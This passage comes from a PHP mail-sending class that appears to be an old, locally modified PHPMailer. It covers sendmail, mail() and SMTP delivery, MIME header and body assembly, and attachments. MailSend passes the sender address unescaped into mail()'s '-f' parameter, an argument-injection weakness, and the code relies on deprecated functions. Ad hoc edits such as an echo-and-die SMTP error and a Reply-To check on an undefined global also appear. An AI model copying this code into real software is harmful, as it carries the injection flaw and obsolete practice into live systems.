  1516.         $result = $this->MailSend($header, $body);
  1517.         break;
  1518.         //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
  1519.         //$result = false;
  1520.         //break;
  1521.     }
  1522.     return $result;
  1523.   }
  1524.   /**
  1525.    * Sends mail using the $Sendmail program.
  1526.    * @access private
  1527.    * @return bool
  1528.    */
  1529.   function SendmailSend($header, $body) {
  1530.     if ($this->Sender != '') {
  1531.       $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1532.     } else {
  1533.       $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
  1534.     }
  1535.     if(!@$mail = popen($sendmail, 'w')) {
  1536.       $this->SetError($this->Lang('execute') . $this->Sendmail);
  1537.       return false;
  1538.     }
  1539.     fputs($mail, $header);
  1540.     fputs($mail, $body);
  1541.     $result = pclose($mail);
  1542.     if (version_compare(phpversion(), '4.2.3') == -1) {
  1543.       $result = $result >> 8 & 0xFF;
  1544.     }
  1545.     if($result != 0) {
  1546.       $this->SetError($this->Lang('execute') . $this->Sendmail);
  1547.       return false;
  1548.     }
  1549.     return true;
  1550.   }
  1551.   /**
  1552.    * Sends mail using the PHP mail() function.
  1553.    * @access private
  1554.    * @return bool
  1555.    */
  1556.   function MailSend($header, $body) {
  1557.     $to = '';
  1558.     for($i = 0; $i < count($this->to); $i++) {
  1559.       if($i != 0) { $to .= ', '; }
  1560.       $to .= $this->AddrFormat($this->to[$i]);
  1561.     }
  1562.     $toArr = split(',', $to);
  1563.     $params = sprintf("-oi -f %s", $this->Sender);
  1564.     if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
  1565.       $old_from = ini_get('sendmail_from');
  1566.       ini_set('sendmail_from', $this->Sender);
  1567.       if ($this->SingleTo === true && count($toArr) > 1) {
  1568.         foreach ($toArr as $key => $val) {
  1569.           $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1570.         }
  1571.       } else {
  1572.         $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1573.       }
  1574.     } else {
  1575.       if ($this->SingleTo === true && count($toArr) > 1) {
  1576.         foreach ($toArr as $key => $val) {
  1577.           $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1578.         }
  1579.       } else {
  1580.         $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
  1581.       }
  1582.     }
  1583.     if (isset($old_from)) {
  1584.       ini_set('sendmail_from', $old_from);
  1585.     }
  1586.     if(!$rt) {
  1587.       $this->SetError($this->Lang('instantiate'));
  1588.       return false;
  1589.     }
  1590.     return true;
  1591.   }
  1592.   /**
  1593.    * Sends mail via SMTP using PhpSMTP (Author:
  1594.    * Chris Ryan).  Returns bool.  Returns false if there is a
  1595.    * bad MAIL FROM, RCPT, or DATA input.
  1596.    * @access private
  1597.    * @return bool
  1598.    */
  1599.   function SmtpSend($header, $body) {
  1600.     $error = '';
  1601.     $bad_rcpt = array();
  1602.     if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
  1603.       return false;
  1604.     }
  1605.     $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
  1606.     if(!$this->smtp->Mail($smtp_from)) {
  1607.       $error = $this->Lang('from_failed') . $smtp_from;
  1608.       $this->SetError($error);
  1609.       $this->smtp->Reset();
  1610.       return false;
  1611.     }
  1612.     /* Attempt to send attach all recipients */
  1613.     for($i = 0; $i < count($this->to); $i++) {
  1614.       if(!$this->smtp->Recipient($this->to[$i][0])) {
  1615.         $bad_rcpt[] = $this->to[$i][0];
  1616.       }
  1617.     }
  1618.     for($i = 0; $i < count($this->cc); $i++) {
  1619.       if(!$this->smtp->Recipient($this->cc[$i][0])) {
  1620.         $bad_rcpt[] = $this->cc[$i][0];
  1621.       }
  1622.     }
  1623.     for($i = 0; $i < count($this->bcc); $i++) {
  1624.       if(!$this->smtp->Recipient($this->bcc[$i][0])) {
  1625.         $bad_rcpt[] = $this->bcc[$i][0];
  1626.       }
  1627.     }
  1628.     if(count($bad_rcpt) > 0) { // Create error message
  1629.       for($i = 0; $i < count($bad_rcpt); $i++) {
  1630.         if($i != 0) {
  1631.           $error .= ', ';
  1632.         }
  1633.         $error .= $bad_rcpt[$i];
  1634.       }
  1635.       $error = $this->Lang('recipients_failed') . $error;
  1636.       $this->SetError($error);
  1637.       $this->smtp->Reset();
  1638.       return false;
  1639.     }
  1640.     if(!$this->smtp->Data($header . $body)) {
  1641.       $this->SetError($this->Lang('data_not_accepted'));
  1642.       $this->smtp->Reset();
  1643.       return false;
  1644.     }
  1645.     if($this->SMTPKeepAlive == true) {
  1646.       $this->smtp->Reset();
  1647.     } else {
  1648.       $this->SmtpClose();
  1649.     }
  1650.     return true;
  1651.   }
  1652.   /**
  1653.    * Initiates a connection to an SMTP server.  Returns false if the
  1654.    * operation failed.
  1655.    * @access private
  1656.    * @return bool
  1657.    */
  1658.   function SmtpConnect() {
  1659.     if($this->smtp == NULL) {
  1660.       $this->smtp = new SMTP();
  1661.     }
  1662.     $this->smtp->do_debug = $this->SMTPDebug;
  1663.     $hosts = explode(';', $this->Host);
  1664.     $index = 0;
  1665.     $connection = ($this->smtp->Connected());
  1666.     /* Retry while there is no connection */
  1667.     while($index < count($hosts) && $connection == false) {
  1668.       $hostinfo = array();
  1669.       if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
  1670.         $host = $hostinfo[1];
  1671.         $port = $hostinfo[2];
  1672.       } else {
  1673.         $host = $hosts[$index];
  1674.         $port = $this->Port;
  1675.       }
  1676.       if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
  1677.         if ($this->Helo != '') {
  1678.           $this->smtp->Hello($this->Helo);
  1679.         } else {
  1680.           $this->smtp->Hello($this->ServerHostname());
  1681.         }
  1682.         $connection = true;
  1683.         if($this->SMTPAuth) {
  1684.           if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
  1685.             $this->SetError($this->Lang('authenticate'));
  1686.             $this->smtp->Reset();
  1687.             $connection = false;
  1688.           }
  1689.         }
  1690.       }
  1691.       $index++;
  1692.     }
  1693.     if(!$connection) {
  1694.       $this->SetError($this->Lang('connect_host'));
  1695.     }
  1696.     return $connection;
  1697.   }
  1698.   /**
  1699.    * Closes the active SMTP session if one exists.
  1700.    * @return void
  1701.    */
  1702.   function SmtpClose() {
  1703.     if($this->smtp != NULL) {
  1704.       if($this->smtp->Connected()) {
  1705.         $this->smtp->Quit();
  1706.         $this->smtp->Close();
  1707.       }
  1708.     }
  1709.   }
  1710.   /**
  1711.    * Sets the language for all class error messages.  Returns false
  1712.    * if it cannot load the language file.  The default language type
  1713.    * is English.
  1714.    * @param string $lang_type Type of language (e.g. Portuguese: "br")
  1715.    * @param string $lang_path Path to the language file directory
  1716.    * @access public
  1717.    * @return bool
  1718.    */
  1719.   function SetLanguage($lang_type, $lang_path = 'language/') {
  1720.     if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
  1721.       include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
  1722.     } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
  1723.       include($lang_path.'phpmailer.lang-en.php');
  1724.     } else {
  1725.       $this->SetError('Could not load language file');
  1726.       return false;
  1727.     }
  1728.     $this->language = $PHPMAILER_LANG;
  1729.     return true;
  1730.   }
  1731.   /////////////////////////////////////////////////
  1732.   // METHODS, MESSAGE CREATION
  1733.   /////////////////////////////////////////////////
  1734.   /**
  1735.    * Creates recipient headers.
  1736.    * @access private
  1737.    * @return string
  1738.    */
  1739.   function AddrAppend($type, $addr) {
  1740.     $addr_str = $type . ': ';
  1741.     $addr_str .= $this->AddrFormat($addr[0]);
  1742.     if(count($addr) > 1) {
  1743.       for($i = 1; $i < count($addr); $i++) {
  1744.         $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
  1745.       }
  1746.     }
  1747.     $addr_str .= $this->LE;
  1748.     return $addr_str;
  1749.   }
  1750.   /**
  1751.    * Formats an address correctly.
  1752.    * @access private
  1753.    * @return string
  1754.    */
  1755.   function AddrFormat($addr) {
  1756.     if(empty($addr[1])) {
  1757.       $formatted = $this->SecureHeader($addr[0]);
  1758.     } else {
  1759.       $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
  1760.     }
  1761.     return $formatted;
  1762.   }
  1763.   /**
  1764.    * Wraps message for use with mailers that do not
  1765.    * automatically perform wrapping and for quoted-printable.
  1766.    * Original written by philippe.
  1767.    * @access private
  1768.    * @return string
  1769.    */
  1770.   function WrapText($message, $length, $qp_mode = false) {
  1771.     $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
  1772.     // If utf-8 encoding is used, we will need to make sure we don't
  1773.     // split multibyte characters when we wrap
  1774.     $is_utf8 = (strtolower($this->CharSet) == "utf-8");
  1775.     $message = $this->FixEOL($message);
  1776.     if (substr($message, -1) == $this->LE) {
  1777.       $message = substr($message, 0, -1);
  1778.     }
  1779.     $line = explode($this->LE, $message);
  1780.     $message = '';
  1781.     for ($i=0 ;$i < count($line); $i++) {
  1782.       $line_part = explode(' ', $line[$i]);
  1783.       $buf = '';
  1784.       for ($e = 0; $e<count($line_part); $e++) {
  1785.         $word = $line_part[$e];
  1786.         if ($qp_mode and (strlen($word) > $length)) {
  1787.           $space_left = $length - strlen($buf) - 1;
  1788.           if ($e != 0) {
  1789.             if ($space_left > 20) {
  1790.               $len = $space_left;
  1791.               if ($is_utf8) {
  1792.                 $len = $this->UTF8CharBoundary($word, $len);
  1793.               } elseif (substr($word, $len - 1, 1) == "=") {
  1794.                 $len--;
  1795.               } elseif (substr($word, $len - 2, 1) == "=") {
  1796.                 $len -= 2;
  1797.               }
  1798.               $part = substr($word, 0, $len);
  1799.               $word = substr($word, $len);
  1800.               $buf .= ' ' . $part;
  1801.               $message .= $buf . sprintf("=%s", $this->LE);
  1802.             } else {
  1803.               $message .= $buf . $soft_break;
  1804.             }
  1805.             $buf = '';
  1806.           }
  1807.           while (strlen($word) > 0) {
  1808.             $len = $length;
  1809.             if ($is_utf8) {
  1810.               $len = $this->UTF8CharBoundary($word, $len);
  1811.             } elseif (substr($word, $len - 1, 1) == "=") {
  1812.               $len--;
  1813.             } elseif (substr($word, $len - 2, 1) == "=") {
  1814.               $len -= 2;
  1815.             }
  1816.             $part = substr($word, 0, $len);
  1817.             $word = substr($word, $len);
  1818.             if (strlen($word) > 0) {
  1819.               $message .= $part . sprintf("=%s", $this->LE);
  1820.             } else {
  1821.               $buf = $part;
  1822.             }
  1823.           }
  1824.         } else {
  1825.           $buf_o = $buf;
  1826.           $buf .= ($e == 0) ? $word : (' ' . $word);
  1827.           if (strlen($buf) > $length and $buf_o != '') {
  1828.             $message .= $buf_o . $soft_break;
  1829.             $buf = $word;
  1830.           }
  1831.         }
  1832.       }
  1833.       $message .= $buf . $this->LE;
  1834.     }
  1835.     return $message;
  1836.   }
  1837.   /**
  1838.    * Finds last character boundary prior to maxLength in a utf-8
  1839.    * quoted (printable) encoded string.
  1840.    * Original written by Colin Brown.
  1841.    * @access private
  1842.    * @param string $encodedText utf-8 QP text
  1843.    * @param int    $maxLength   find last character boundary prior to this length
  1844.    * @return int
  1845.    */
  1846.   function UTF8CharBoundary($encodedText, $maxLength) {
  1847.     $foundSplitPos = false;
  1848.     $lookBack = 3;
  1849.     while (!$foundSplitPos) {
  1850.       $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  1851.       $encodedCharPos = strpos($lastChunk, "=");
  1852.       if ($encodedCharPos !== false) {
  1853.         // Found start of encoded character byte within $lookBack block.
  1854.         // Check the encoded byte value (the 2 chars after the '=')
  1855.         $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  1856.         $dec = hexdec($hex);
  1857.         if ($dec < 128) { // Single byte character.
  1858.           // If the encoded char was found at pos 0, it will fit
  1859.           // otherwise reduce maxLength to start of the encoded char
  1860.           $maxLength = ($encodedCharPos == 0) ? $maxLength :
  1861.           $maxLength - ($lookBack - $encodedCharPos);
  1862.           $foundSplitPos = true;
  1863.         } elseif ($dec >= 192) { // First byte of a multi byte character
  1864.           // Reduce maxLength to split at start of character
  1865.           $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  1866.           $foundSplitPos = true;
  1867.         } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  1868.           $lookBack += 3;
  1869.         }
  1870.       } else {
  1871.         // No encoded character found
  1872.         $foundSplitPos = true;
  1873.       }
  1874.     }
  1875.     return $maxLength;
  1876.   }
  1877.   /**
  1878.    * Set the body wrapping.
  1879.    * @access private
  1880.    * @return void
  1881.    */
  1882.   function SetWordWrap() {
  1883.     if($this->WordWrap < 1) {
  1884.       return;
  1885.     }
  1886.     switch($this->message_type) {
  1887.       case 'alt':
  1888.         /* fall through */
  1889.       case 'alt_attachments':
  1890.         $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
  1891.         break;
  1892.       default:
  1893.         $this->Body = $this->WrapText($this->Body, $this->WordWrap);
  1894.         break;
  1895.     }
  1896.   }
  1897.   /**
  1898.    * Assembles message header.
  1899.    * @access private
  1900.    * @return string
  1901.    */
  1902.   function CreateHeader() {
  1903.     $result = '';
  1904.     /* Set the boundaries */
  1905.     $uniq_id = md5(uniqid(time()));
  1906.     $this->boundary[1] = 'b1_' . $uniq_id;
  1907.     $this->boundary[2] = 'b2_' . $uniq_id;
  1908.     $result .= $this->HeaderLine('Date', $this->RFCDate());
  1909.     if($this->Sender == '') {
  1910.       $result .= $this->HeaderLine('Return-Path', trim($this->From));
  1911.     } else {
  1912.       $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
  1913.     }
  1914.     /* To be created automatically by mail() */
  1915.     if($this->Mailer != 'mail') {
  1916.       if(count($this->to) > 0) {
  1917.         $result .= $this->AddrAppend('To', $this->to);
  1918.       } elseif (count($this->cc) == 0) {
  1919.         $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
  1920.       }
  1921.       if(count($this->cc) > 0) {
  1922.         $result .= $this->AddrAppend('Cc', $this->cc);
  1923.       }
  1924.     }
  1925.     $from = array();
  1926.     $from[0][0] = trim($this->From);
  1927.     $from[0][1] = $this->FromName;
  1928.     $result .= $this->AddrAppend('From', $from);
  1929.     /* sendmail and mail() extract Cc from the header before sending */
  1930.     if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
  1931.       $result .= $this->AddrAppend('Cc', $this->cc);
  1932.     }
  1933.     /* sendmail and mail() extract Bcc from the header before sending */
  1934.     if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
  1935.       $result .= $this->AddrAppend('Bcc', $this->bcc);
  1936.     }
  1937. if($replyto != "")
  1938. {
  1939.     if(count($this->ReplyTo) > 0) {
  1940.       $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
  1941.     }
  1942. }
  1943.     /* mail() sets the subject itself */
  1944.     if($this->Mailer != 'mail') {
  1945.       $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
  1946.     }
  1947.     if($this->MessageID != '') {
  1948.       $result .= $this->HeaderLine('Message-ID',$this->MessageID);
  1949.     } else {
  1950.       $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
  1951.     }
  1952.     $result .= $this->HeaderLine('X-Priority', $this->Priority);
  1953.     if($this->ConfirmReadingTo != '') {
  1954.       $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  1955.     }
  1956.     // Add custom headers
  1957.     for($index = 0; $index < count($this->CustomHeader); $index++) {
  1958.       $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
  1959.     }
  1960.     if (!$this->sign_key_file) {
  1961.       $result .= $this->HeaderLine('MIME-Version', '1.0');
  1962.       $result .= $this->GetMailMIME();
  1963.     }
  1964.     return $result;
  1965.   }
  1966.   /**
  1967.    * Returns the message MIME.
  1968.    * @access private
  1969.    * @return string
  1970.    */
  1971.   function GetMailMIME() {
  1972.     $result = '';
  1973.     switch($this->message_type) {
  1974.       case 'plain':
  1975.         $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
  1976.         $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
  1977.         break;
  1978.       case 'attachments':
  1979.         /* fall through */
  1980.       case 'alt_attachments':
  1981.         if($this->InlineImageExists()){
  1982.           $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
  1983.         } else {
  1984.           $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
  1985.           $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  1986.         }
  1987.         break;
  1988.       case 'alt':
  1989.         $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
  1990.         $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  1991.         break;
  1992.     }
  1993.     if($this->Mailer != 'mail') {
  1994.       $result .= $this->LE.$this->LE;
  1995.     }
  1996.     return $result;
  1997.   }
  1998.   /**
  1999.    * Assembles the message body.  Returns an empty string on failure.
  2000.    * @access private
  2001.    * @return string
  2002.    */
  2003.   function CreateBody() {
  2004.     $result = '';
  2005.     if ($this->sign_key_file) {
  2006.       $result .= $this->GetMailMIME();
  2007.     }
  2008.     $this->SetWordWrap();
  2009.     switch($this->message_type) {
  2010.       case 'alt':
  2011.         $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
  2012.         $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2013.         $result .= $this->LE.$this->LE;
  2014.         $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
  2015.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2016.         $result .= $this->LE.$this->LE;
  2017.         $result .= $this->EndBoundary($this->boundary[1]);
  2018.         break;
  2019.       case 'plain':
  2020.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2021.         break;
  2022.       case 'attachments':
  2023.         $result .= $this->GetBoundary($this->boundary[1], '', '', '');
  2024.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2025.         $result .= $this->LE;
  2026.         $result .= $this->AttachAll();
  2027.         break;
  2028.       case 'alt_attachments':
  2029.         $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
  2030.         $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
  2031.         $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
  2032.         $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2033.         $result .= $this->LE.$this->LE;
  2034.         $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
  2035.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2036.         $result .= $this->LE.$this->LE;
  2037.         $result .= $this->EndBoundary($this->boundary[2]);
  2038.         $result .= $this->AttachAll();
  2039.         break;
  2040.     }
  2041.     if($this->IsError()) {
  2042.       $result = '';
  2043.     } else if ($this->sign_key_file) {
  2044.       $file = tempnam("", "mail");
  2045.       $fp = fopen($file, "w");
  2046.       fwrite($fp, $result);
  2047.       fclose($fp);
  2048.       $signed = tempnam("", "signed");
  2049.       if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
  2050.         $fp = fopen($signed, "r");
  2051.         $result = fread($fp, filesize($this->sign_key_file));
  2052.         fclose($fp);
  2053.       } else {
  2054.         $this->SetError($this->Lang("signing").openssl_error_string());
  2055.         $result = '';
  2056.       }
  2057.       unlink($file);
  2058.       unlink($signed);
  2059.     }
  2060.     return $result;
  2061.   }
  2062.   /**
  2063.    * Returns the start of a message boundary.
  2064.    * @access private
  2065.    */
  2066.   function GetBoundary($boundary, $charSet, $contentType, $encoding) {
  2067.     $result = '';
  2068.     if($charSet == '') {
  2069.       $charSet = $this->CharSet;
  2070.     }
  2071.     if($contentType == '') {
  2072.       $contentType = $this->ContentType;
  2073.     }
  2074.     if($encoding == '') {
  2075.       $encoding = $this->Encoding;
  2076.     }
  2077.     $result .= $this->TextLine('--' . $boundary);
  2078.     $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
  2079.     $result .= $this->LE;
  2080.     $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
  2081.     $result .= $this->LE;
  2082.     return $result;
  2083.   }
  2084.   /**
  2085.    * Returns the end of a message boundary.
  2086.    * @access private
  2087.    */
  2088.   function EndBoundary($boundary) {
  2089.     return $this->LE . '--' . $boundary . '--' . $this->LE;
  2090.   }
  2091.   /**
  2092.    * Sets the message type.
  2093.    * @access private
  2094.    * @return void
  2095.    */
  2096.   function SetMessageType() {
  2097.     if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
  2098.       $this->message_type = 'plain';
  2099.     } else {
  2100.       if(count($this->attachment) > 0) {
  2101.         $this->message_type = 'attachments';
  2102.       }
  2103.       if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
  2104.         $this->message_type = 'alt';
  2105.       }
  2106.       if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
  2107.         $this->message_type = 'alt_attachments';
  2108.       }
  2109.     }
  2110.   }
  2111.   /* Returns a formatted header line.
  2112.    * @access private
  2113.    * @return string
  2114.    */
  2115.   function HeaderLine($name, $value) {
  2116.     return $name . ': ' . $value . $this->LE;
  2117.   }
  2118.   /**
  2119.    * Returns a formatted mail line.
  2120.    * @access private
  2121.    * @return string
  2122.    */
  2123.   function TextLine($value) {
  2124.     return $value . $this->LE;
  2125.   }
  2126.   /////////////////////////////////////////////////
  2127.   // CLASS METHODS, ATTACHMENTS
  2128.   /////////////////////////////////////////////////
  2129.   /**
  2130.    * Adds an attachment from a path on the filesystem.
  2131.    * Returns false if the file could not be found
  2132.    * or accessed.
  2133.    * @param string $path Path to the attachment.
  2134.    * @param string $name Overrides the attachment name.
  2135.    * @param string $encoding File encoding (see $Encoding).
  2136.    * @param string $type File extension (MIME) type.
  2137.    * @return bool
  2138.    */
  2139.   function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2140.     if(!@is_file($path)) {
  2141.       $this->SetError($this->Lang('file_access') . $path);
  2142.       return false;
  2143.     }
  2144.     $filename = basename($path);
  2145.     if($name == '') {
  2146.       $name = $filename;
  2147.     }
  2148.     $cur = count($this->attachment);
  2149.     $this->attachment[$cur][0] = $path;
  2150.     $this->attachment[$cur][1] = $filename;
  2151.     $this->attachment[$cur][2] = $name;
  2152.     $this->attachment[$cur][3] = $encoding;
  2153.     $this->attachment[$cur][4] = $type;
  2154.     $this->attachment[$cur][5] = false; // isStringAttachment
  2155.     $this->attachment[$cur][6] = 'attachment';
  2156.     $this->attachment[$cur][7] = 0;
  2157.     return true;
  2158.   }
  2159.   /**
  2160.    * Attaches all fs, string, and binary attachments to the message.
  2161.    * Returns an empty string on failure.
  2162.    * @access private
  2163.    * @return string
  2164.    */
  2165.   function AttachAll() {
  2166.     /* Return text of body */
  2167.     $mime = array();
  2168.     /* Add all attachments */
  2169.     for($i = 0; $i < count($this->attachment); $i++) {
  2170.       /* Check for string attachment */
  2171.       $bString = $this->attachment[$i][5];
  2172.       if ($bString) {
  2173.         $string = $this->attachment[$i][0];
  2174.       } else {
  2175.         $path = $this->attachment[$i][0];
  2176.       }
  2177.       $filename    = $this->attachment[$i][1];
  2178.       $name        = $this->attachment[$i][2];
  2179.       $encoding    = $this->attachment[$i][3];
  2180.       $type        = $this->attachment[$i][4];
  2181.       $disposition = $this->attachment[$i][6];
  2182.       $cid         = $this->attachment[$i][7];
  2183.       $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
  2184.       $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
  2185.       $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
  2186.       if($disposition == 'inline') {
  2187.         $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
  2188.       }
  2189.       $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
  2190.       /* Encode as string attachment */
  2191.       if($bString) {
  2192.         $mime[] = $this->EncodeString($string, $encoding);
  2193.         if($this->IsError()) {
  2194.           return '';
  2195.         }
  2196.         $mime[] = $this->LE.$this->LE;
  2197.       } else {
  2198.         $mime[] = $this->EncodeFile($path, $encoding);
  2199.         if($this->IsError()) {
  2200.           return '';
  2201.         }
  2202.         $mime[] = $this->LE.$this->LE;
  2203.       }
  2204.     }
  2205.     $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
  2206.     return join('', $mime);
  2207.   }
  2208.   /**
  2209.    * Encodes attachment in requested format.  Returns an
  2210.    * empty string on failure.
  2211.    * @access private
  2212.    * @return string
  2213.    */
  2214.   function EncodeFile ($path, $encoding = 'base64') {
  2215.     if(!@$fd = fopen($path, 'rb')) {
  2216.       $this->SetError($this->Lang('file_open') . $path);
  2217.       return '';
  2218.     }
  2219.     $magic_quotes = get_magic_quotes_runtime();
  2220.     set_magic_quotes_runtime(0);
  2221.     $file_buffer = fread($fd, filesize($path));
  2222.     $file_buffer = $this->EncodeString($file_buffer, $encoding);
  2223.     fclose($fd);
  2224.     set_magic_quotes_runtime($magic_quotes);
  2225.     return $file_buffer;
  2226.   }
  2227.   /**
  2228.    * Encodes string to requested format. Returns an
  2229.    * empty string on failure.
  2230.    * @access private
  2231.    * @return string
  2232.    */
  2233.   function EncodeString ($str, $encoding = 'base64') {
  2234.     $encoded = '';
  2235.     switch(strtolower($encoding)) {
  2236.       case 'base64':
  2237.         /* chunk_split is found in PHP >= 3.0.6 */
  2238.         $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2239.         break;
  2240.       case '7bit':
  2241.       case '8bit':
  2242.         $encoded = $this->FixEOL($str);
  2243.         if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  2244.           $encoded .= $this->LE;
  2245.         break;
  2246.       case 'binary':
  2247.         $encoded = $str;
  2248.         break;
  2249.       case 'quoted-printable':
  2250.         $encoded = $this->EncodeQP($str);
  2251.         break;
  2252.       default:
  2253.         $this->SetError($this->Lang('encoding') . $encoding);
  2254.         break;
  2255.     }
  2256.     return $encoded;
  2257.   }
  2258.   /**
  2259.    * Encode a header string to best of Q, B, quoted or none.
  2260.    * @access private
  2261.    * @return string
  2262.    */
  2263.   function EncodeHeader ($str, $position = 'text') {
  2264.     $x = 0;
  2265.     switch (strtolower($position)) {
  2266.       case 'phrase':
  2267.         if (!preg_match('/[\200-\377]/', $str)) {
  2268.           /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
  2269.           $encoded = addcslashes($str, "\0..\37\177\\\"");
  2270.           if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2271.             return ($encoded);
  2272.           } else {
  2273.             return ("\"$encoded\"");
  2274.           }
  2275.         }
  2276.         $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2277.         break;
  2278.       case 'comment':
  2279.         $x = preg_match_all('/[()"]/', $str, $matches);
  2280.         /* Fall-through */
  2281.       case 'text':
  2282.       default:
  2283.         $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2284.         break;
  2285.     }
  2286.     if ($x == 0) {
  2287.       return ($str);
  2288.     }
  2289.     $maxlen = 75 - 7 - strlen($this->CharSet);
  2290.     /* Try to select the encoding which should produce the shortest output */
  2291.     if (strlen($str)/3 < $x) {
  2292.       $encoding = 'B';
  2293.       if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
  2294.      // Use a custom function which correctly encodes and wraps long
  2295.      // multibyte strings without breaking lines within a character
  2296.         $encoded = $this->Base64EncodeWrapMB($str);
  2297.       } else {
  2298.         $encoded = base64_encode($str);
  2299.         $maxlen -= $maxlen % 4;
  2300.         $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2301.       }
  2302.     } else {
  2303.       $encoding = 'Q';
  2304.       $encoded = $this->EncodeQ($str, $position);
  2305.       $encoded = $this->WrapText($encoded, $maxlen, true);
  2306.       $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
  2307.     }
  2308.     $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
  2309.     $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2310.     return $encoded;
  2311.   }
  2312.   /**
  2313.    * Checks if a string contains multibyte characters.
  2314.    * @access private
  2315.    * @param string $str multi-byte text to wrap encode
  2316.    * @return bool
  2317.    */
  2318.   function HasMultiBytes($str) {
  2319.     if (function_exists('mb_strlen')) {
  2320.       return (strlen($str) > mb_strlen($str, $this->CharSet));
  2321.     } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2322.       return False;
  2323.     }
  2324.   }
  2325.   /**
  2326.    * Correctly encodes and wraps long multibyte strings for mail headers
  2327.    * without breaking lines within a character.
